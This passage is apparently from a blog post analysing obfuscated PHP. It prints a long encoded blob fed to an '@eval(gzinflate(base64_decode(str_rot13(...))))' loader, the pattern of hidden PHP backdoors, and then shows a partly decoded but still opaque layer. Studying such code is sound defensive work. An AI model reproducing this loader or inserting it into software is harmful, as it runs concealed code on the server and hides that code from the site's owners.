W+8NsHYslw2ULcrkRNgpMBJf1vhLeXUF0xNUnyK5F5LG8zFSxaq1BudaYyvRt03RLOyqz4rrxBIUUrUF17CXHyMQ5Q8tBsaGFHjpaf4oWv0gZvcXaDoPk17H0g1eYp61jYsTVoikrY+L5bLt60uqhgreJ7P15gWwWfYacOk7aflkXsEQb87uldqpq+IMHQ3nyOE5WC8Fp6o5eTvXJshXq5Ls/gdh1zrxcmU3z4vA27Ug9bOPagHTDlWf4SvMvTO8Hx0RGS7Y+1jVELtGs+QDcTn6EdipGtDzGQmdJn+Ygl3YAbAOWsg+7smmdLCMWxwUoHc8XAMu5xdFqqsMnTn9HyziprEqQaBuA8ChjSdNmLq3NWLDJv5dEHZGRKGzXR5d2RDeO04oiRBEejxo4dBYTU+Uzryf6fAYxwe6BA9YAr+r5zJyhH+93MjqLcYOpdDOY9lO9yZPENqkvNj9szAPBr4oiMXRCAzf6bXYmq8AoMhW6CnrCV2RBEaW/aamJTx0ND9q2W4p6ur2G592mxqJC8ZbVe4MSKLp/1YIB24KcUwIK2PwlaiavvXNyZ2iI/U33k+WGpduUaCKTJB3lg+BSGv480+Cr3w7rhivjp3GrBQ0+CurkbuE1u24LxMBg9hNZKlAn3sFwZ/UEz7DkozeukQTrVy5Zn2Ea8zAuXcy+aLMcZqx4NN8ctM6o2wqTF1ZumQEaG/vUyMvkLZP/OW6VbMLvXgarIYznSdHgwbXbLjQH2nRIEYFTOTlAFKknhUQ+Ul9YrcVdBbJru8mboWyuUIAi+Rwbu0GRq40YsYwjq+cOqgKKrAIvb0VB2UvHVjW1Ly6EmF8I2MW2wvBtfWANzGALVG7F4HIJ1lLBE+2k5cC9xjMXPSeu88XijkTCB1T/SuXUAjoU3rDktxEilmAwrHnGCSkWC3KZ0VzmKyynl7akV8qm/XJ+a4yF8D0DPxH1pJCCcmOsB3OvEaXKo2uu71CPvR9tYbmbRM91pDa7ZKaRP2nYWYJCzvnJ3toQlNUl7ZzFCr1iU/vEa3LYEgy16bEQY5cbrrJzTCVqa8H5I9DF++pFK2LclwybKur0O5obmMpxncXp7JttUocwxquRahjFG3YhbWwQS1PXBp/i4QhKnUcG23wuTkZA5OZ2IVOEvKK6q6In0KmXlOxz+sjI4DyVauNvdbL7j4tdTn9GBfIRlabh/JYHaN/RwR+4kTr2z94U+c2JP4e5B0An40htWco09v8hyy9AnVbbmOfGBBRig2oD+p3J4SfxVYmjFDxlweubTzRVG5/4NkCjwDIXVOjRtbML0Nb5TUktLdiWe/PMEeW743rF8wx+FZzANkxzCviK6/UCyrJykrbR1vTdzsvTPxR45X7ojyfzM0IbpVavOS4yCrsTU+fjIbmL70YAW/xJzxwaHH+jNlelibB00MU7nsYAaVkmEmVPWL8qrFXgEnQdko4O9QITVVRVns/lcJdKptaX60AtV+M5pFCzfxPQdrdK5wdyhXrJSrK0aBxaVmUjAjOKUtUEaV0rLvpVlrQNjHi08rf2pldVaXUJh5FUeZD9K0T3ZaFCMMc/ePusddhJxhrIlOma4X+jZXV+wGJqps79AtZwqLXrHbtFxzW8zSLmu6zRn7xHG+JsTns8+pNawp+WiOK0xEtjWoA/L4tz8G02HwBUnqYDYB6UvAncWGdJZ2VS51GT+LYf+ZxZV72y2m0/4FjvQJJvMdTsslI0AUUhSXfrheBp+LlPHST+MyJwuFHIBtpJKnEyDhjrJfsJ6B29PEP0DX3Wk/O0ZTIkTwffR+D9RvZc06FJPcSR9eJc2XjMsZvfzGNyNl5AjkrUKgXj6dbreebG+viGHPAJZISmcscKdDm/d+vuvvDXsIvDOxl4WyET1gORaLUIpa3uGbHKXJJIOuB2fwK9zUM1DJPLEVL6RlH4nJjFQdGmagBBIve06fuxP59LXcFEG9RuZ/V03qa8Thh7Uq8eCWTbJMcsAqoLgxhdykKpm14O96Pq0hcRqk1vB54lYUwQOL34/BSwN0Wij+mI4CYkcQaWO0pWluyMQeKC4tu5hyGVCRQCByvBRFMvp6ICuXIfs9mw7z+C7kOW9eYg5uo9kGHVw8wbYaOAsdPMGa0VsIGuR0K5JksvfQFUWk/mn+WnfxY28PmkDbCDaISAu2HDgKTuSdCkuWEhou+Dsa8kHyTA9RFx3p9XiNjYFYVhwh9ddQ5rUn+A7yVkgMBGk9eW11sRvkDqeFePcTzk6AYSXYRD6jGCXDSCv5a8IprqDT0vhqd+tz9usiXP5rfUibs5XER98P0ZgFKrh1Pw5X5SZAW4eU0CJgEGgMIA9Oqs2IeACXNHlfbGB4oyEIqjIN2Od/O7qC09qNYhywnMXwnEXeaY4fPWooPTrXouxVxXByCtvGh5zV3m8noF46u5dsolTwPm0E/2DYiguCaPBa3wJG1858hSyMvp2cB7GONw+RT1A2Of+on+G52AX8vVkkR8mtY0zgghuiysTLSG+ueEjatZ9J4nr7uv1x4KU7mswoBqj52gpjmvGq79h6sUUktjDm51oODl76j9lbEmrh33U+AQtzomoC/4xc1iiw3pBGC/VGLVaMlJYLd3m9dO39BsrJ+RbBo0eOW/k5vAht669sRPCVgPDL+KZAaz0GLoN0D5PxjTupRfZQ/Dd+n59Zoze/PsGdk+u/Iv1UR8imwxpRoOjuiAtTHJ4E5gpDK+RHx6qrTq8Zk5vW5QLaht7ajxBnTORNSSAg4r/Dzc1UQqBJqo+5ha+Orgo1ZxqzMiNPsQ+T11hufRFzgPMYAsyqy4WESCMJQf/DcKpkBa59ocmho5Qc+y7S/bXLu1yZk/drfkBsUHJ50yOQv3tzwly18N4ZO4d8lbKsKISoxkIcZ0r8UyJTn14zEDCfoTv4hyF7Al2Y437CJGom4xa9fuQUFBII+G3v7kD2/vqE3QARcvRRRkzSC4PwaVNLcRW6YWTsTmG6WJ/vQ9i3vHhK8MXsZG16tCwf52Gf/MjqU5pnXuYT+J5QCV6RfCL0AtuJ1NtK3nCYmLBpfNbbspNXWzkv7/4l+sMFdnH7cNRin/k33L4xa3mXafmg08lhnLl/9MWx+ngt/0AxyGrOJdaH3P9QuokXaUb0MOCsAenyZvwsZjwST51l9Xxa6veVInVhe56GEHXJGbJdjt1gdmtM4rhtbSJtzjTWayrGNc3RpiQQmY7KBb9PBQHqZGezl3sQ0tJezbiP1Zw05YDs/DC+EiwmHQskEBsiem2MmzKJvRoHBnRj20W1WbC+3Pe7mvn1FAkNItbllPNRL8OAfp+o6GtDy+dOE84GlMVzjorgXW2XDyH7rSYcuZII8vYYqBjFBTC+QAqZPO9Bf3FnvLw0OKc+p/XpW7wHqua4oha4wlYcwV538lsPaAL5Rmy3WccWKRLPcB+0Ml8fAR58gmtDfiwgqczqPdyZx4Tm/W9na4hrGCjc9upOoAF5vq4jTHoIpIVxMwo8beZkMPuKKG823Yb6+IlHs0pDUrioCFbEimWuNvmmKJGGG2CHXROU4nSJDizHbRy7ENjlC1P7vf6yJZEUazA5xrSNJFUuI1AGxSqV5YW+Q/5UdFHy3UWdWhLQRhloH+aX9HyliTPuCexActzCLNp2PAMzz1k6N7U1yyuyU7qJnW98pUe+qCf4ep+B7eLUXMv0yyucyy7ZUeI6+lJjZMlFV8sPVPXaASGKZ+0bJE5UU6pDqmYEa7BX3KVsXHIbq15qUaP3dDhkFwoIYcpbaNAJBB3YjRCgzQQfKP0358VXmURxa4Q8qSR97rdsNhDw6Mlc1pKoGU6LNYiqwp6JaeH2ojOOh5iykXTma+IN806airXO8ICpx95oZokz9cbc2NHl7BFkANIDHHXMpt73xqKoxXPpOSOrvAb5TkIJBrXDWqMq7WrxHFldbUUSTu+aMgKfh3WS++yQ4PH8TGe0Z+akIJxEes+cQPYEMHnPETs08+P2NG/mZ+LBLh5geGxhu2aqQOdtxAePmzjYtChF6vsfnn5TAn71mvlpzJcRYTmALpj6hQBko6aggvs7k69nbzptVX5WYXZ+KOAAzi5Yz4iYbbaLrNaEuYYcFGJYsy1M7AGMicdzl8xMggmiCLBwbz/WapGz4qKklq51+D42usoF3S1QLYPcZplux3C/t1Oi3S+qJ+w83KN7Jeq0hyZxoQXj4VY6b0mYIWCcAKOeEMulkpTJikW0HmmZA3/5iMkmfQuqHSGxopPj/6TZvzGe2TvoZD+cMyKPVEET9w1Xz4DWnDNXYI40mn+7m6/QswZQ6CQxAGAvFkRMK+40WxnH8uWjVcP5IsqhvfDlRErFX2ZsJU6sHbyDA/dPBFN4CzEwcduUDylJBuNwCv95sITmFHgoOLYiOaCmIUpkrAizBONtfWYlHw871GTR5KkytRP7VzSVQGELcRIFwlxJIxCJuClPJLNuamJbd1r/IrqRjc9flLnFsOqUM48BUtaP2J2sUhYeq1WvYkiRP2wWgXc9oke3Dy/kX1MBNhzpKSfcafk6k5uJ7v46BFwmcnSYXvQpJwAE6DTkykucFdvmY0hsoDgYVZhkT5hTfBhnabKdx1E60l6EJVu/T03Y5ly1VBLEJMZRHgz9ZiAmmaqTzW8EBZZscZ85gmm6/7xKvA35XKkohbttRDhEq0qImNVIlW9LINZnvhaoodLsv4n4XTEYn4BaM5VJ6NiAohNFHVGu5NfESDLXP/9Kcyiodv2Cqbr7H7SaGExn8+qHMn1wtmHRypj7mIOIp4rzvA1TnfKfDf9o1dZ8uCJgYxN3ezEOLf6Qk7rWoX00XdwI0qvpCT4vhGB3vHf4VBsWxr8Gv6kAyGXyWe4adRCwqGm5QNEWXev3ouepfQ01Kj5Dc8rzIwfu//4gwmV6GZGqYZmM07kk7vZ3ITDh9F/vkTYK2uD706WlZ/YXFQBcuMhwdffYv6bcxlgpXdAMvh47o5E/LnCCodQKqERwRz5CVxJvgsJ6TN7Nq9HNSFr/a2SY6fxLSNh0vFhMYYSdz1KOBB8zQ58Uumh7S7pYvGG9avxl/TzYFpVmW54vaiob2i3qaOaYCrCjHZ3/tmzKR4DoK9zlHFJZbg6pvWEa5jx315WLqkyXIiGZBhTjqIo/vyrys5hasEBqx/Xa/q824Cr52K2k/979oy8isz/droe2roe+1S78su4gUgy2exgonJ/MAB+K2v7A6l19emuy8/s7l1YcrT1ioF0IoCT7n23xMsYe3u+m363oI7er+UJ2+/J3h79jqoN/lhKyoXt4C98TwY3rjpoY0qACfsB197U/8PThO7f2Ziag63Yb/XO/gHs/se3ha9M6toitsA76epmMsYG1TmhhE/BOhA3c+e9O9Vwj3ja6gsh81YTWqaz28Bqao3Ccr949ACJw0Np9tUaA6oHKCkKsyth9lk9x9iz/0C/csCc7sJJMsG++Aq6/3MGIL5bt1+g79pag7LYgEQCQxI37Y8oxhwe/q1P+Q2WJ+7o0+9A+/Bom5qNW/Bm8gUu58eEkpKA5/rac+ABzrs3a68hUympI55p/Tkfwx42V759gKq9A/iUq02r8iry8JCCiNjCAwd/zwgi6iNA9Q55egI3o35ha/Drr/rqA4umr4V6K/19sWA7m30i93/9O366HrmruEjzz8T78+Oa2qiIKic//giCoi/7gM2B+7U6uhLzSFhO30qUet3Xqu3Kzi/033G3Ejqw2QpHScM9Iie8+o9+72iA4qoz3d/6ry3R9Yi9K52CfC4iFm7O+4oS/e81d52BbrKA64T87259+oU17Zh8OkcUYjkkvoSNPoS/p5g6/CE/JU1UGQbmrwe53puNSsf6xKatcw4dLjArosaHLrsKVcBuxUFqQf3Um+92//xunCCMmrq9i6bN5CXr7/1ocpL9g3iiAingMihjLOj7Y/yBQ4aO/s7eqB3SmrgFkjf0ANo65V6QvoX3rhQiqCO17BBr/e53K1m8rQIjqoU7hr9WqUD05Uqr1Ah/dw0tFo+h/chhqaownOZi7I3AUc3G42aGbLW61+H32lsyJaNsMj2+VOJdB/0StoQ6mM0uUI54E/psYdUBh6C3p2ot093D975t+/A6iYjX0mn97gUWk/Y0r6aYFcC7Mhu/X2992xVMF9Bq7kwnY974a4yrzQP8ao2bS8hy/lYlhaBrDKcaD5m+haqJFMZ/2tMOVmKOA6V/i5uoJ1T1cyA/DZPQtoFOrR4h1tnF8B6rI1ULKCklBZ0smd7tUojjrK2Jj10BalnhQ29u+9+Iy7epaxN+GqMrGNANrpOS78hGT+tdaI56u1f3/1b7M2T1hKOwXYM//iY53s9SbtWE05MQiswpB9QnTyGvhQ33mL//Uwovdq3uvwk3tO3394ezY3G7gsYPf6Lh8CgmHSp9xCa5BlgTc0sY762ml6JLDGqcHrxYv5N/UJ69i1AkjLrgQ6/Tk5fyr9vaNrmYDUhZvjKl2177819P8KlKuqzm/XC93h78CsTW5544E3Z7ZR4ocduD7iPyjT1sCETCgQ/Sfot2rsl7iTygaE8tK74PvVnEdnsgpkOCjmr9D/Pt+23Fk/BAE7g3D1b1YcHgdYkLqUn80XL6KqwVaiij5fiy0ssi35+J36//lU8fXKmw///6/6a0Dr3+m3EU1h62VIlMlakiaqnfopC/P/3b/f0igovh0Se7jYm3Vh93E/2LhiJ7a18qrPBygBj0T9q4ZK3j/3AZS6FAtqwAVX0rY938+oQqwGNBJG37cNC0WMb8C4+UPEb21Wwb/Zrkdw1dqj5BF933yKhuvNSFGda0h8k/s1Uir2o+eYULp82+5+3A/fcUgRFwC34cIbMjMv5/7e4gsaOX4s21t3u/7O1x2vYzPgFNeyWPKFD7tB5sU3K+igAiVjcFGAkQsAiYfeq3sBq0Mi0Vbx1JMqsBh933gX6p7N96xOCq5m7g56m55Kso+8Zwh+cgeS10On/3+9+PA95o+Jftg8x+9ftW89BY3nCQiqnbNwjArEYUlGuMDKJkIo5l+Wz/722Iu5fiqi+peypCgt7hi96hIi+ddGOXn6ogUoOo0ceYe6yrzRA+jPFDnj1VPxdo85BC306u3c3GapCkXtqDWhKokN+IborgLRC/ehq3oCGPiGJowyZmIMgmq0RMJpKcFPgGmNnoh2+bvz0FNTO9rM+9RAo4mbUA0qqITdork5V4oSl6Ea7Gf3FanBG85hy8VYJn/8q9V9/pAn5fsr8z5CYemPGjbRff3HM09rRAs9tw/WqxAd9t60BFWACCJv7O8bzynpE1Yy5O/lQ2sC2/ACB6ogmq+FroU3qCv8iUk98U8f/+DE9riO9dsrk/Bo4aTwUrzzA7pEe7ZUYqmqRA42ceL8rwW9C3j+2Gf/Cqw59BA+X+JYiilAya+AGiPK41zqLgJFMKqNYOQ1v7rIyEAeKm90OFTgFYep+t2YMY9pAmp9SoVzzi/hI8UDk++2O9dXfZEnFvdY9WTWT4b3bENmWZWjDuucd4irfLY7FqDDZrYNNf3pu7ZMUUtfNq4Y3kEAzpkC3kgYjw2JI3K+kfew4y7aTcU/ZgUW4Fv3YwHVsFy1tr6PVseOdHPBA9Yydp2Pon1fG7iIO7fQRM74loiFk6nrCm7D3RK+aW/vgg+l+zqjKfNJLS1fN6V5xA4weq5ZMXv6Rnk4DpDvC050Ck+p7wp3g7ICmTc0n2X/06yC6k57nC/Mi9j9/jKYfhUV8WyI8HDzw2OEmxok3ZneY51CnEJAxxT/5kcwe89vGZgewXvAcOg5bH0tHFPyhWA46m0A1NwUtPXpPwY9q084PGe3PZxb8B5tMujwavzt08ZOLvUdQurntMOgSsI8tKxKku/jdIA7b2QnoO5aNjIypwRCX2SSTBbADyQtBJGu9XdZaYSYPa0oPglWcf0XHVzFLZDvMAokw/2nqjOzj5fNtBlLneVmnIPLZfctj8OWpTXF5DZRxbIVLd1tEv8hAg+zKz4OHmAtXB6Zeoq6IPnCn9A60JIjlfmsgXo1c/jq7056MQ4ZfCiQrGOuFMhgDB7AQ/7yzMsojYUoI8IpHYsRpbhnvjq/hnKQGX53ZwLxkazqvPXfHhC4rb0IUvlxV7KUROWu55gtU/oLCqTp8CJXWW16aHMWdxJ15Uy3znJPuFMNv7PjrsztCrF/LLJvf/JU7HFClTz33mza9UUhh7j/+SSEArHLGKR3TCOmp1ru9U4j9gIXcjvqqq8M0pMd4fwF4L+Jn7ozQyDnr5mg39CLR4VbQGZbsB9m1Wt7J+3VvPY+kjtC2miAbb1cXbqLtDzni7OQN2Hi2FU2KrUYR5casofZ4bd9P7DSJLhGg2i8S&quot;&lt;/span&gt;;@&lt;span style=&quot;color: #0000ff&quot;&gt;eval&lt;/span&gt;(gzinflate(base64_decode(str_rot13($code)))); ?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Php code obfuscated using rot13 base64 encoding and gzip compression. Using &lt;a href=&quot;http://rot13-encoder-decoder.waraxe.us/&quot;&gt;http://rot13-encoder-decoder.waraxe.us/&lt;/a&gt; online rot13 decoder I converted the $code part in the following, &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; 7X1re9q60ujn9FeoXrzL0BICJOlqQ8ilubdpkubS9JIctjEG3BjMsk1I2p3/fmZGF8vGENKuvd/z4az97AZLo9FoJI1Go9FofW11fdAdPFt4wS7Pjlm1VGH5S6fJzrqO57HmPfNPmwX2YuFZzhpG3cbACkNWZ0blVWXpzet2+6/mq8XX7WVn2S63lp3FattqLi/9VW4atWc52/f8AIH/aLWXMaHltK2hFzUsO3L9PuSYu67nhB+svll7tgG5bt/Jm2c7h7uNk83zfbPIGo3dg8OdRqNQe+a28yyMgoEf5nONs53TTzun38z98/OTxgV8NTb3do7Ozeuiuef7Hc8xC+x5vc7alhc6rMB+PpvrOlbLCfJUZKFSKrOl8hI78iO26w/7LRNqmHPu3Kj27OHZRuiEIVDYCCMriPKQteEEgR80AmfgB5Hb7+TLmOj23UboRHmT53p+xyweXRweJvIgtUH5oVlMlupZdw3nzrGHyI1G5PYcAQG59Nnw3J4b5VVaz+q4duPvoR85YSMY9hGG50reAVPODo6PgHMm9KQp2NZJl+0M7HyBs6U97PPeAN66g9Czwi4AWEFg3edz9IfA5gInGgZ95qbz1hn9APyDvDmOAyiRkCuJKiQCYPvDs7lc4+T47BxGRBYVlFfAjlHEDgK3Hx36HbefJ/LW157NrdpOP3IC/NX2gx7rOVHXb9VhwESQdgIDd+QHrRW26vYHw4hF9wOnPhCprG/1+Neanh0Om9AB7Nbyhk7dXFszEfkCYl9bXYirowmkRg9y/LkbYhczHKln2CPfeq3l9Ljdh2aZ14VrVig8m8NSTm8Q3UOheKYV2L//DczPM4UPefHNxEwTCrI//2R5xnHrOQUGgz+BB/4HiGajp86iYOjghIDZA6V0bteeyZkYwfQewYxiwCX4zJ/snzSOz4rl4iLWBvUbI7dvYLU5H2WGCZ8wzzlOkdR37yApF1ptp9HzWw6k0fzo4PxQqTiOcy03tJqe05BjIEzAjuVSma4Pk8getRAUwOBXXkyJFD9tYiaQumF3W26Q19IRTyYKaoJoFg1CvTpgCEoLz7KdvHF1ZRSZsQD/KBAc97npoByKjyf8+AaAntPPU8Z85RoEHDMXTGIwYirRJ+DFEgniAMDyXAukGlTHJxX0qnHohhHbdgPHjvzg3mD1NWZA443iMwb/zRm7br/F4P/OXQkGOPxi9jAIYNQzhJLgbCFkCyO20IxBkxhe2H6/7XZezIZEh1Z4zrr+iOGqceswyO87vI958b4TgZyO2LzVTxYACdkHWc1CJ7h1bScGZyTXFfAFAAB2G9aBSAMaQnISoe33QDQ4gQZ06zojAAJubp6esHMcgzzTCgZAEc86OGFb1KphYCHhHMId8KayBcvzjGdzBTU3xjoLKBDdpZjmhWzeE/g9zGnDUsqsCORnE2gMGUhJix26/eEdMABqajHnLnKgi1ocNLwPI6cnkWFBNn9rUYMBZYjt9QdOH8BxzRvnNfs368CwZfMuw/qdPqcFu5zDSlRtHATQRJATLq9bIKOMBTaPopa12fzAAak9X14ql8vQtjBRPi6bOYQIpjQbKiKlMxMp1UxSOr9CSiYqPgBKbt+myTGFIFyfUuAZmF48iuLKEJBXxuTyM7VrKjrk8ShwI5wPrO17oHmFzOpn8pwzqJrZT5NxTKVxGkohDUqDUetRbmmwySGQxjE7xyahRNJK3YgUkscJU5AJHKnysxOVjY5IaoIq1ujCBIcl4nGydOgkaeN4nkDeRLREYhuW5W7Pcr3AfpxCDThJ4BiWJ9CXRIqy2retyEnKQY/SWDeKBq0SThud2LFMIdl58m0XlNhwUiEtN1FqEPjtKXXp2cly4X0TRMykYnFuolTvflIJkZOAtlo9t58UemNZiQJ2u5OWkcmcJDTUNwlcZI3Bg2RtWdGEEjwzq8zkWtzOpHpAgk8uA5kTyhC67BITW8S33NOp1IAycMhFIaNkAlrv/rg3TUo2k5Ap2atAIT0FGf7tZUJCegoyS3YqcJmZKjNJuKlyOkCqbO8eaJhaOAGRKj1BZqmyWn6yZNOyb4ZZfckzErCtYS8LEpNTgsK9zRQQ7q0xR4ppaue9z20ptOuBzQbft6o9U9cKYHMFOye+40ylokHo4nx3/rUBW5WO5zctj3FTUY328avdqOetraK5Zm0V9vAWCcV55++he1s3QY8GVTOaPwf5a+IoxK+6GYFuu4AFa0xUVF9dr4/VvQ47+NXIjTxnjbIztr/ra2yeLGEAIKwp67DZ54WerYbRPf6da/qte/YTed4J0H40Ty1Y+WNpaakmfjoV/F/tgQMXo1Yx6s79BE2mH62wN4OIHQ5tt2UVPzlBy+pbtZ4VwA57pVy7dYLItS1vHvYBnf5K5A9qDLCQIgRzve0DFlFHu92ujRNRrVapRDiw+sVupWipAthq+gXNfO72ULO3+pECnhP0zY8ct9MFMpukdlF+tzKH2U0/gJR5z2lHK8sD2Fv4HqjDGt7awGq1YNu1wqqQDSA13uLKEjRZtjWbZskBKIM1ttzbkuhhqFihRZQcUlGRgW9xcZGQWEQ1jo/5FmyD+AZspe/3HZ690vWB31kwgMwJPFcAlnpeJW7/SkU1nbpcEhfTBv2IiNueP1ph1jDyOZam27ECBztk5Lai7kqlXP6fWpdzu7osW04mqCJRhNBF0Bo92PNCKYV86gBYXl6ujRGq95E2Cj/4fR/63naKxpY/DFzYCx/BnpboQEvXnFarIO+PyPe98LzpSa7xgcoNYrydBHHQH6iGssUyFOectECzwrmglcWezGqIg/+rxaUC3l8/J4HGkC3gX/dnai713FbLIyCPhnPmBIbsQeBgNs2FttVzvfsVwZyi4hdQtbog5MFqaAfuAO2MsT3VifJW0S4OKsVBtThYLAopxM2pIDUtNOD0h55XaPn2sAfMK/XaJavErY1WjUPZmVC2gLIF1KCSCTaoCLhBRQJWswGrErAqARezARcl4KIkkDcrm0yeJ4nlX9ziq/jUmcKliTzEuvWKuKE2X0jhtn4V960VgMAJrB4ddljfrbs6mkRxycJJkXfr5Zq7qlMAExR/hiXP6Xeibs19+RKXvzmB5SWg+dN4mVXim3tdwm3ES6NuvHT6tt9yLk4PtnyQzn3Iz08qQ0wlasMgbybWs9Odjxc7Z+cNwGNe12DVK4rWpBkEJYeBp3LZzznqVJYfwT7HH5U+fzjch9X3FFZfJxSMmwucv4ErfWfEktnEfsou+X0QW617tBU5wNd+By27sOGwnTAE6C1KiqEHTj9v4FptFBnRg8yOsUGviCq44sHyhq4HoMXUGgw8mOfYqIW7+dFoNI+ya36IFlPkaMvQ0fVb+Zgfcw8M/kHTG9NavknWxs/Hze8geMcansjNGx9cO/BD2E4Rw0CZELUhPigkij+RM4+y5p/mTSZzcLjg//VRkyY3r2QaNbdELTzDFqINeokfPWA2VQDpQzJOV8tlyZmFBcsDSS1KhzDyQ+ccVgdBGE7HwOkI5p86nZ27Qd7IX121Xhby366uzq6uwusXBWxsz9DKWEFQh3IlPGWbhNuBeZQHwG/V65I4ySgXseS3CmiwnAU4QPgI4WQaguWMDvaeG3xawWogVgGhvaLet7YKagyjZaJuDPzQJd3CasKaPIycmqYFZCuToP3Bak+KTrlmAOr02RY/uuq1RR14EjLwrHuu4phQQDvP6sLy5/R5CUsea4Hk4KchUl22QHVf1z5WTBMV54mYbA0T6uDhwLFdyyN5ms/tHR6/3Tw8Ay0ctl+AeBomWMYmETWoYOFx9Hr2Y4TC4jcRfXU6+uos6Bcno1+cjn5xBvRyoZ1UR7zvWh9LUrj54eUzcWSZaweOc4bKDB5vwci5wQTSbsY6Dg+sIj+yvAR8g5IaMxbRvta13yuoneQCWNyskDADcY0hNjpvBnQyn7txgr7jpfJCngfqGajpN3UTN4orCwvwPSoHPdg79BZCxwrsLlo21lt+v1PH8zHNk8CkAxI8pOYVJLwGcPcqcOPhmpKXecaLsfecKJOV5BmobESxXHwFYi8+Qp2ASLarBEiy0SxyNEDzcyl/G86dG0ZAPIqTOzz/dDpuyyxwYZrDcytxWtkQ9ssGpvHlOYcHKTy3dw+/RWpHS+3EqSCOBqgBraPm88BIBP7UsCgKBiPEFX87hDqBW+V1gk4SthPDCuIR/zcTexn0l7g+ngz/iFRJH1aRAOdV8uSOAH/g56QN7AY6fMaxkBtYURc+nLuBhz3Cj14zxnG/TueDeSqAKagG5lAPzLmruf58Bf6Cyse5E1cD3W2sWqwbOO26+YfJ/L4NazGM1U7+ypDeL1dG8cpQumXuOyL9vlrPufBHqJFJlETEt9z36xI/8U3XeGUUzDWjJMBAVzQWVhesNUNygYuF+IDRJIMMeo1ckvYTzleqyxX8fn988Hr+VP26wF/24PWrV3zq+QMYYzE2Yim0wbHsbj6uxgpZzo2cHs2oRBE8s16FFNQquFwzzBLBlkyDmaVx4VavU/a6ybfETssE2VYomWuq3OoCR7hG/duLG3nm2CV20G/7Zn0NP+hnkfsgYZJyRiqimQkWaAdT5c+iCfBQI6aJX0Xz7G+PkMGfonnSHeAH/oEcq+0wcl7AfPj4gL8hPQrwTJr2x5RF3+f0WTTfBqAUAANtKqZ9Fc0jJxr5wQ2my59SMAj7mxq1yu+D2+ByvW/mod/xh9z6Jn/XeM6Z47VBuerBtppnY8Ip/yYQpz8c69oe9ekNWgtzt1xQIhh1J8wn0mqwK/NuPyrkQb1ZELOnV4C++h9j7RuTs8L4w1CzwoBZYUJH3pbMK7OI28niFf5S/xQM7Ocb7GRrjV2vLkRd3s2tAPRx2qwZxBSmscNHV5mEp4ZqCAtIfwUtp2j+gDxsFaEi6Y9o3LBBDiGUWjJXroAIPiNFldTmSW1RMxzJB8ollgVqyjcWJ2FjoEkmn6KwNfCRlXT2aXvQlXU0/DHb8Txha6ov0heuvPhVFkxHVXJtNQrg/y2ZtLaKxr21CxSQK6vNYA09HugHjFX6u99q0d+tUWsFZ10279ZNhNmmdq+IeQdKL+KGnmhB1wBjkGzQffs+gJpSo9ZW7UKRgX5dqZahMItHgVi7YXdS6pAHn7Z8r/9dN0vxqqkjK6CciKwAlpG60Wh6Vv8G+Mp9ADlHVQ3Aa7EIa2V4kbVvQmegIqsLRPwqNQCXHCA0j12FixP8LjDOzz1cfVYEAzC/E4PSyoSwHAuSfOsE6FSYx3ZzBEpGaEg03sf+T9fAebRFcSsubGlaa8dHqMv1ozXoBz3vj3K52SyXgfq1493d1YXmmoSjegUz/kgOUxgGcr6JSYejTYxRIJ3GnmAnEboNezv0PtQIb0FS3vwy35tvsf0VdyWk0UGtRyeZM/cHKIixzhdzYRdUTg1PDKyUU4TNS2ESJy9o6F7AuEfJIvgdr4dQlOM8cYJeuIU8GtNTJzMmPX9VQenHZV6XEgJKSqlvDCE4zwRJXF7gjElMFTlJGVko6wGagsX0WeVrHJJE+2ykKe6k1D9R1w2FTchYwzWVK0ee1XS8unFidRx5NEIyVF+GxZpJBWC48FqJbDFOnQAGLzs4kd3EW9TBTWgYNe9pKirrk6FOU4xrMQQ4mi3PxbP0NBrdbPXh+Hynsbm9fYp8lfMQ+QX/0C8UiDHzSDyKvbU4mMD9cjU2zuMxgPEUsYlSApYy6qa4Rn0TL4zhywauPA/po7Fd34/k0VgOFg/lwVJn2tf4ttjQJ3EHhngfxtAlgDtU+lrMYmPFSEuCb+TFrOpRkLVneJq2AJTDn7GVxG3VpRV/Rvawxzktcpp+FPm9sW5AV9kIHWbnaIUgQ4bfPyPTrRraNIxtadwUXse0IQMEYhxxsxksy/pAEttm3kRDnj8YfB+NJw1JY4Uxi7Gitr5mTHYINtYwV7oDQ5MmtozLEaHkxc1sT23mqWPxw+xfaGX7SVTTUH+kczTtmBpg9m6gA0zekNbUhnywbn61t1oztmO9rs+19d/qDmwast2c1pz/cL9MaM9MHaU2LLPOpx26g+D8zmT65VkiDJloyohMtnO0df7lZKdu9oZe5A6sIKJy86BbWCYVfMyYyUfpZn8q9NMNlpNxxSbL4cDzrRYSML3yf8CMB9i5Rk9VPm0wkvPvPzcYn8klUi01C9zsTe4Y0tKIXuygGI+ZsIykAcngFxrkNR/VE+Pe/ddFZibLmoV6vU4Dm262sHhZTtqocgPMTUwE9sAeJ5CsVr9IIJV9nEBuGJtEoIJ37vI5t881DNjIy825286PWQjx4EMaBjfoFARKFrEUN7fx4hvffbefN676hsp6QFNfFkY0K0TdYCix+s34lhTUIbOJQq0KACN7pOdY/fzUCrhf+gT0PPM3kOOttobOFYEizpDIJQ4Y+oET+sMADdxtbsjEQzlkpBEYhSQebsYbdWGS5Z9vtB2/DYWEwQAhSnX